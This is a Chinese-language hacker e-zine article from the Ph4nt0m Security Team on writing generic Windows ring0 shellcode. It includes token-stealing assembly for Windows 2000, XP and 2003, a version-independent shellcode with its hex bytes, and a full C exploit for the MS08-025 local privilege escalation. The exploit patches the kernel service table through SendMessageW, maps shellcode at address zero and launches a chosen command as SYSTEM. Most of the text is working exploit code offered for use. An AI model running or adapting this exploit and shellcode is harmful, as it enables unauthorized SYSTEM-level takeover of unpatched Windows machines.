==Ph4nt0m Security Team==

Issue 0x02, Phile #0x05 of 0x0A

|=--=|
|=------------------------=[编写通用内核shellcode]=-------------------------=|
|=--=|
|=--=|
|=----------------------=[By Tms320   ]=----------------------=|
|=---------------------=[<Tms320_at_ph4nt0m.org>]=---------------------=|
|=--=|

一、多个内核漏洞的出现将研究者的目光从ring3引向了ring0

最近曝光的ms08-025漏洞，受影响的系统包含了微软出版的几乎所有NT体系结构的版本，引起了不少研究者的兴趣，漏洞曝光不久就在网上出现了利用程序。基于内核漏洞的溢出，为我们获取系统的ring0执行权限打开了方便之门，通过这类漏洞提升本地执行权限，获取system权限执行级别。

目前流传的利用程序，ring0 shellcode大多通过将system进程的Token赋予当前进程来获取system权限。比较典型的代码如下：

```
    if ( OsVersionInfo.dwMinorVersion == 0 ) {

        __asm {

                nop
                nop
                nop
                nop
                nop
                nop

                mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                Mov eax,[eax]

                mov esi,[eax+0x44]//取当前进程EPROCESS
                mov eax,esi

        search2000:

                mov eax,[eax+0xA0]
                sub eax,0xA0
                mov edx,[eax+0x9C]
                 cmp edx,0x8 // 通过PID查找系统进程
                jne search2000

                mov eax,[eax+0x12C] // 获取system进程的token
                mov [esi+0x12C],eax // 修改当前进程的token
                ret 8

        }
    }

    if ( OsVersionInfo.dwMinorVersion == 1 ) {

        __asm {

                nop
                nop
                nop
                nop
```

```
            nop
            nop

            mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
            Mov eax,[eax]

            mov esi,[eax+0x220]
            mov eax,esi

        searchXp:

            mov eax,[eax+0x88]
            sub eax,0x88
            mov edx,[eax+0x84]
            cmp edx,0x4 // 通过PID查找系统进程
            jne searchXp

            mov eax,[eax+0xc8] // 获取system进程的token
            mov [esi+0xc8],eax // 修改当前进程的token

            ret 8

        }
    }

    if ( OsVersionInfo.dwMinorVersion == 2 ) {

        __asm {

           nop
            nop
            nop
            nop
            nop
            nop

            mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
            Mov eax,[eax]

            mov esi,[eax+0x218]
            mov eax,esi

        search2003:

            mov eax,[eax+0x98]
            sub eax,0x98
            mov edx,[eax+0x94]
             cmp edx,0x4 // 通过PID查找系统进程
            jne search2003

            mov eax,[eax+0xd8] // 获取system进程的token
            mov [esi+0xd8],eax // 修改当前进程的token
            ret 8

        }
    }
```

对于视窗操作系统，由于EPROCESS这个结构不固定，不同系统中system进程PID不同，导致上述代码遍历EPROCESS链表查找system进程时需要先判断系统版本，实际是采用硬编码的方式ring0 shellcode。这种做法的兼容性并不是太好，在同一系统不同补丁下，难免保证不出现蓝屏。笔者利用上述代码，在非sp1的2k3系统上蓝屏，深刻体会到了ring0利用程序崩溃时候的威力。

二、本地通用的提权代码

为了提高兼容性，就要尽量避免使用硬编码的方式。由ring3 shellcode的编程经验可知。使用API可以可靠的执行需要的操作。而API的名称则相对固定。

提权操作将system进程的Token赋予当前执行进程，我们需要做以下的操作：

1.找到system进程EPROCESS。ring0 可以直接访问EPROCESS结构，而ntoskrnl.exe导出的PsInitialSystemProcess 是一个指向system进程的EPROCESS的指针。我们只要从ntoskrnl.exe获取导出变量PsInitialSystemProcess即可获得system进程的EPROCESS。

2.获得当前进程的EPROCESS。ntoskrnl.exe提供了IoThreadToProcess（xp，2k3的PsGetThreadProcess为同一函数）可以查找线程所属的进程，而当前执行线程可由KPCR+124h获得，通过当前执行线程调用IoThreadToProcess就可以获得当前进程的EPROCESS。鉴于对于不同版本的NT系统，KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]获取当前线程的ETHREAD指针。

3.替换当前进程的Token为system的Token。由于Token在EPROCESS中的偏移不固定，需要先找出这个偏移值，然后再替换。ntoskrnl.exe导出PsReferencePrimaryToken函数包含了从EPROCESS取Token的操作，我们需要把这个偏移量先从这个函数中挖出来。

对于win 2k系统，PsReferencePrimaryToken取Token的代码为：

```
mov     eax, [ebp+8]
mov     edi, [eax+12Ch]
lea     eax, [edi-18h]
```

对于win xp/2k3系统，PsReferencePrimaryToken取Token的代码为：

```
mov     edi, [ebp+8]
lea     ebx, [edi+0D8h]
```

虽然使用的寄存器不固定，但指令相对固定，可以采用获得PsReferencePrimaryToken入口地址后搜索lea指令获得。再根据偏移为小于EPROCESS长度这一特性，取lea指令前后高位两个字为0的操作数即可获取Token的偏移量。

综上所述，给出对应的shellcode：

```
PsReferencePrimaryToken=80123456h
PsInitialSystemProcess=80123456h
IoThreadToProcess=80123456h;
    pushad
    pushfd
    mov esi,PsReferencePrimaryToken
findtokenoffset:
    lodsb
    cmp     al, 8Dh;
    jnz     findtokenoffset
    mov     edi,[esi+1]
    and     al, [esi+3];判断是否为Win 2k
    jz    @F
    mov     edi,[esi-5]
 @@:
    mov     esi, [PsInitialSystemProcess]
    push    dword ptr [0FFDFF124h]
    mov     eax,PsGetThreadProcess
    call    eax
    add     esi, edi
    add     edi, eax
    movsd
    popfd
    popad
    ret     08h
```

代码中的常数PsReferencePrimaryToken，PsInitialSystemProcess，IoThreadToProcess

可以通过加载ntoskrnl.exe，由GetProcAddress在本地获取（需修正到内核地址）。附件给出的完整ms08-025通用利用程序将给出获取这些地址的例程。

三、进一步提高通用性

如果需要靠shellcode自己获取API的地址，就需要shellcode加上获取API地址的代码和获取ntoskrnl.exe内核基址的代码。由于PE文件格式是固定的，ring3级的API引擎在ring0下同样适用，我们可以通过API名称的编码，利用API引擎获取对应函数地址。ntoskrnl.exe内核基址可以通过获取其中的函数后搜索PE头获得。在系统的中断描述符表中，我们可以找到不少ntoskrnl.exe中断处理函数地址。利用sidt指令，我们可以获取指向系统中断描述符表的指针，进一步获得ntoskrnl.exe中的函数。IDT指针同样保存在KPCR结构中，更为简单的方法是直接从[0FFDFF038h](KPCR+38h)内存中读取。

笔者基于上述思想编写了161字节的ring0 shellcode，成功用在了ms08-025的溢出中。以这种方式实现的ring0 shellcdoe，可以不倚赖外部函数独立执行API操作，能够用于远程的内核溢出中。远程ring0 shellcode仅仅在幻影内部交流，读者可以按照前述思想自己实现相关代码。

四、附录

无需判断系统版本的通用利用程序，如果你打崩了，请联系我，我进一步做改进。

```
#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "user32.lib")
#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE               ProcessHandle,
                        PVOID            *BaseAddress,
                        ULONG                ZeroBits,
                        PULONG           RegionSize,
                        ULONG                AllocationType,
                        ULONG                Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);

ZWVDMCONTROL    ZwVdmControl=NULL;
DWORD        PsReferencePrimaryToken = 0;
DWORD        PsInitialSystemProcess = 0;
DWORD        IoThreadToProcess = 0;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef enum _SYSTEM_INFORMATION_CLASS {

    SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _IMAGE_FIXUP_ENTRY {

    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11

    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
```

```
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );

extern "C"
NTSTATUS
NTAPI
NtQuerySystemInformation(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    IN OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );

extern "C"
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader (
    IN PVOID Base
    );

extern "C"
PVOID
NTAPI
RtlImageDirectoryEntryToData (
    IN PVOID Base,
    IN BOOLEAN MappedAsImage,
    IN USHORT DirectoryEntry,
    OUT PULONG Size
    );

void ErrorQuit(char *msg)
{
    printf("%s:%x\n", msg, GetLastError());
    ExitProcess(0);
}

DWORD
GetKernelBase(char *KernelName)
{
    NTSTATUS        status = STATUS_SUCCESS;
    ULONG                i = 0;
    ULONG                NeedSize = 0;
    ULONG                ModuleTotal = 0;
    DWORD                dwKernelBase = 0;
    PCHAR Temp[10];
    PSYSTEM_MODULE_INFORMATION        SystemModuleInfo = NULL;

    status = NtQuerySystemInformation(
                SystemModuleInformation,
                (PVOID)Temp,
```

```
            10,
            &NeedSize );

    if( status != STATUS_INFO_LENGTH_MISMATCH ) {

        printf("NtQuerySystemInformation (first) failed, status: %08X\n", status );
        return dwKernelBase;
    }

    SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
    if ( NULL == SystemModuleInfo ) {

        printf("NtQuerySystemInformation failed (second), code: %08X\n", GetLastError() );
        return dwKernelBase;
    }

    status = NtQuerySystemInformation(
            SystemModuleInformation,
            SystemModuleInfo,
            NeedSize,
            &NeedSize );

    if( status != STATUS_SUCCESS ) {

        printf("NtQuerySystemInformation failed, status: %08X\n", status );
        return dwKernelBase;
    }


    ModuleTotal = *(PULONG)SystemModuleInfo;
    SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);

    for( i=0; i<ModuleTotal; i++ ) {

        if( strstr(SystemModuleInfo->ImageName, "ntoskrnl.exe")) {
        strcpy(KernelName, "ntoskrnl.exe");
            dwKernelBase = (DWORD)SystemModuleInfo->Base;
            break;
        }
    else if( strstr(SystemModuleInfo->ImageName, "ntkrnlpa.exe")) {
        strcpy(KernelName, "ntkrnlpa.exe");
            dwKernelBase = (DWORD)SystemModuleInfo->Base;
            break;
        }
    }

    LocalFree( SystemModuleInfo );
    return  dwKernelBase;
}


DWORD
FindKiServiceTable(HMODULE  hModule, DWORD dwKeSDTOffset)
{
    PIMAGE_NT_HEADERS                NtHeaders = NULL;
    PIMAGE_BASE_RELOCATION        ImageBaseReloc = NULL;
    PIMAGE_FIXUP_ENTRY                ImageFixup = NULL;
    DWORD                                        RelocTableSize = 0;
    DWORD                                        i;
    DWORD                                        dwVirtualAddress;
    DWORD                                        dwRva;
    DWORD                                        dwKiServiceTable = 0;

    NtHeaders = RtlImageNtHeader( hModule );
```

```
        ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule,
                                                               TRUE,
                                                               IMAGE_DIRECTORY_ENTRY_BASERELOC,
                                                               &RelocTableSize );
        if ( NULL == ImageBaseReloc ) {

            return 0;
        }

        do {

            ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof
(IMAGE_BASE_RELOCATION));

            for ( i = 0;
                i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
                i++, ImageFixup++ ) {

                    if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {

                        dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
                        dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders-
>OptionalHeader.ImageBase;

                        if ( dwRva == dwKeSDTOffset ) {

                            if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {

                                dwKiServiceTable = *(PDWORD)((DWORD)hModule +
dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;
                                return dwKiServiceTable;
                            }
                        }
                    }
            }

            *(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;

        } while ( ImageBaseReloc->VirtualAddress );

        return 0;
    }

    void InitTrampoline()
    {

       PNTALLOCATE NtAllocateVirtualMemory;
       LPVOID       addr = (LPVOID)3;
       DWORD       dwShellSize=0x1000;
       unsigned char trampoline[]=
    "\x60\x9C\xBE\x56\x34\x12\x80\xAC\x3C\x8D\x75\xFB\x8B\x7E\x01\x22"
    "\x46\x03\x74\x03\x8B\x7E\xFB\x8B\x35\x56\x34\x12\x80\xFF\x35\x24"
    "\xF1\xDF\xFF\xB8\x56\x34\x12\x80\xFF\xD0\x03\xF7\x03\xF8\xA5\x9D"
    "\x61\xC2\x08\x00";

       NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle
("ntdll.dll"),"NtAllocateVirtualMemory");

       if( !NtAllocateVirtualMemory )
           exit(0);

       NtAllocateVirtualMemory(    (HANDLE)-1,
                       &addr,
                       0,
```

```
                    &dwShellSize,
                    MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                    PAGE_EXECUTE_READWRITE );

    if( (PULONG)addr )
    {
        printf("\n[++] Error Allocating memory\n");
        exit(0);
    }


    *(DWORD*)(trampoline+3)=PsReferencePrimaryToken;
    *(DWORD*)(trampoline+0x19)=PsInitialSystemProcess;
    *(DWORD*)(trampoline+0x24)=IoThreadToProcess;
    memcpy(NULL,trampoline,sizeof(trampoline)-1);
}

void GetFunction()
{
    HMODULE    hNtdll;

    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
    ErrorQuit("LoadLibrary failed.\n");

    ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
    if(ZwVdmControl == NULL)
    ErrorQuit("GetProcAddress failed.\n");

    FreeLibrary(hNtdll);
}
int main(int argc, char **argv)
{

   //PULONG   PntVdmControl=0x805F0DB0;
    DWORD PntVdmControl=0x80800458; //通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得

    PVOID        KeServiceDescriptorTable = NULL;
    DWORD        dwKernelBase = 0;
    DWORD        dwKeSDTOffset = 0;
    DWORD        dwKiServiceTable = 0;
    DWORD        FuncNumber = 0;
    HMODULE      hKernel;
    char         szNtos[MAX_PATH] = {0};

    STARTUPINFOA                stStartup;
    PROCESS_INFORMATION            pi;

  printf("\n\tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \n");
  printf("\tBy Tms320, Tms320@ph4nt0m.org\n");
  printf("\tAll unpathched OS can be compromised\n\n");
  if ( argc < 2 )
  {
    printf("\tUsage: %s <command>\n", argv[0]);
    exit(0);
  }

   GetFunction();

   dwKernelBase = GetKernelBase(szNtos);

   if( dwKernelBase )
   {
       printf("Get KernelBase Success, %s base = %08X\n", szNtos, dwKernelBase);
```

```
            hKernel = LoadLibraryExA(szNtos,0,1);
        }
        else
        {
            printf("GetProcAddress failed, code: %d\n", GetLastError());
            return FALSE;
        }

         KeServiceDescriptorTable = GetProcAddress( hKernel,  "KeServiceDescriptorTable" );
         if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address
failed");

         printf( "KeServiceDescriptorTable = %08X\n", KeServiceDescriptorTable );

         dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel;

         dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset );
         if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.\n");
         printf( "ok!!!\nKiServiceTable == %08X\n", dwKiServiceTable + dwKernelBase );


         FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);

         printf( "ZwVdmControl Call Number: %08X\n", FuncNumber );

         PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );


         PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel,  "PsReferencePrimaryToken" )-
(DWORD)hKernel+dwKernelBase;
         PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel,  "PsInitialSystemProcess" )-
(DWORD)hKernel+dwKernelBase;
         IoThreadToProcess = (DWORD)GetProcAddress( hKernel,  "IoThreadToProcess" )-(DWORD)
hKernel+dwKernelBase;
        InitTrampoline();

        SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl );
        SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2);
        printf("\n[+] Executing Shellcode...\n");

        ZwVdmControl(0, NULL);
        GetStartupInfo( &stStartup );

        CreateProcess( NULL,
            argv[1],
            NULL,
            NULL,
            TRUE,
            NULL,
            NULL,
            NULL,
            &stStartup,
            &pi );   //此时创建的cmd.exe是SYSTEM权限


        printf("[+] Exiting...\n");

        return TRUE;
    }

-EOF-
```